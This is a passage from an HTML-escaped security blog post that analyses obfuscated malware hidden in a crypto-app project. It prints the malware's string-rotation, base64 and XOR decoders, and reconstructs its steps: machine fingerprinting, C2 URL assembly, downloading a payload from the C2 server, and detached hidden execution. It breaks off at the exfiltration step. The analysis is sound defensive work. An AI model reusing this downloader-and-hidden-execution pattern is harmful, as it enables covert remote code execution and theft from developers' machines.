      &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nx"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;push&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="nx"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;shift&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]());&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;push&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="nx"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;shift&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]());&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;})(&lt;/span&gt;&lt;span class="nx"&gt;a0a0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7c2c2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This makes the string lookups position-dependent on runtime computation. You can't statically map indices to values.&lt;/p&gt;

&lt;h3&gt;
  
  
  Custom Base64 + XOR Decoder
&lt;/h3&gt;

&lt;p&gt;Two decoding functions work in tandem:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Base64 decoder (strips first char as salt, then decodes)&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;a0&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;s1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;base64&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;utf8&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="c1"&gt;// XOR decoder with rotating 4-byte key&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;T&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xa0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x89&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;a0&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;a3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;a3&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;a3&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;rr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;a0&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;a3&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0x3&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xff&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;a2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromCharCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;a2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every sensitive string, module names, function names, URLs, runs through one or both of these before use.&lt;/p&gt;

&lt;h3&gt;
  
  
  String Fragmentation
&lt;/h3&gt;

&lt;p&gt;Critical identifiers are split across multiple concatenations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;base6&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;4&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Rc3Bh&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a0ai&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x18b&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// → 'spawn'&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;u&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;a0aj&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1d4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nf"&gt;a0al&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1e3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;A&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// → 'request'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Variable Name Mangling
&lt;/h3&gt;

&lt;p&gt;Every variable is a meaningless alphanumeric identifier: &lt;code&gt;a0ai&lt;/code&gt;, &lt;code&gt;a0aj&lt;/code&gt;, &lt;code&gt;aG&lt;/code&gt;, &lt;code&gt;aH&lt;/code&gt;, &lt;code&gt;bk&lt;/code&gt;. Functions are called through proxy objects with obfuscated keys:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;a1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bPrTI&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ylVwx&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;a5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a6&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="c1"&gt;// Later: a0['bPrTI'](someFunc, someArg)  // just calls someFunc(someArg)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Layer 2: What It Actually Does
&lt;/h2&gt;

&lt;p&gt;After decoding every string, here's the reconstructed logic in plain English:&lt;/p&gt;

&lt;h3&gt;
  
  
  Imports
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;os&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;fs&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;request&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;request&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// HTTP client from package.json&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;path&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;process&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;child_process&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note: &lt;code&gt;request&lt;/code&gt;, &lt;code&gt;child_process&lt;/code&gt;, &lt;code&gt;crypto&lt;/code&gt;, and &lt;code&gt;fs&lt;/code&gt; are all listed as explicit dependencies in &lt;code&gt;package.json&lt;/code&gt;. That's not accidental, it ensures they're available after &lt;code&gt;yarn install&lt;/code&gt; without raising suspicion since the project is a crypto app that might plausibly need them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1, System Fingerprinting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;tmpDir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;tmpdir&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;hostname&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;hostname&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;platform&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;platform&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;     &lt;span class="c1"&gt;// 'darwin', 'win32', 'linux'&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;userInfo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;userInfo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;userInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;scriptPath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Collects everything needed to identify your machine uniquely.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2, C2 URL Construction
&lt;/h3&gt;

&lt;p&gt;The Command &amp;amp; Control server URL is never stored as a string. Instead, it's built dynamically from multiple encoded fragments:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Simplified reconstruction:&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;baseUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;M_or_X&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// switches between two C2 servers&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;fullUrl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;constructUrl&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;baseUrl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;fragments&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;sessionId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two hardcoded base64 values (&lt;code&gt;M&lt;/code&gt; and &lt;code&gt;X&lt;/code&gt;) serve as primary/fallback C2 addresses. The URL includes path segments derived from XOR-decoded byte arrays, making pattern-matching by security tools nearly impossible.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3, Payload Download
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;c2url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;fs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;writeFileSync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;localPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// writes to temp dir&lt;/span&gt;
  &lt;span class="nf"&gt;executePayload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;tempDir&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Downloads a remote binary/script and writes it to a staging directory inside &lt;code&gt;os.tmpdir()&lt;/code&gt;. The directory is created with &lt;code&gt;fs.mkdirSync({recursive: true})&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4, Hidden Execution
&lt;/h3&gt;

&lt;p&gt;On &lt;strong&gt;Windows&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;child&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;execPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;stageDir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;stdio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ignore&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;windowsHide&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;  &lt;span class="c1"&gt;// no visible window&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nx"&gt;child&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unref&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;  &lt;span class="c1"&gt;// parent can exit, child keeps running&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On &lt;strong&gt;macOS/Linux&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;child&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;nodePath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;execPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;cwd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;stageDir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;detached&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;// survives parent termination&lt;/span&gt;
  &lt;span class="na"&gt;stdio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ignore&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;logFd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;logFd&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;// redirects to hidden log&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nx"&gt;child&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;unref&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;detached: true&lt;/code&gt; + &lt;code&gt;unref()&lt;/code&gt; combination is the key trick: it creates an &lt;strong&gt;orphaned process&lt;/strong&gt; that continues running even after you close your terminal or kill the dev server. On Windows, &lt;code&gt;windowsHide: true&lt;/code&gt; ensures no command prompt window flashes on screen.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5, Data Exfiltration
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;ts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;       &lt;span class="c1"&gt;// when&lt;/span&gt;
  &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;identifier&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;// campaign/session ID&lt;/span&gt;
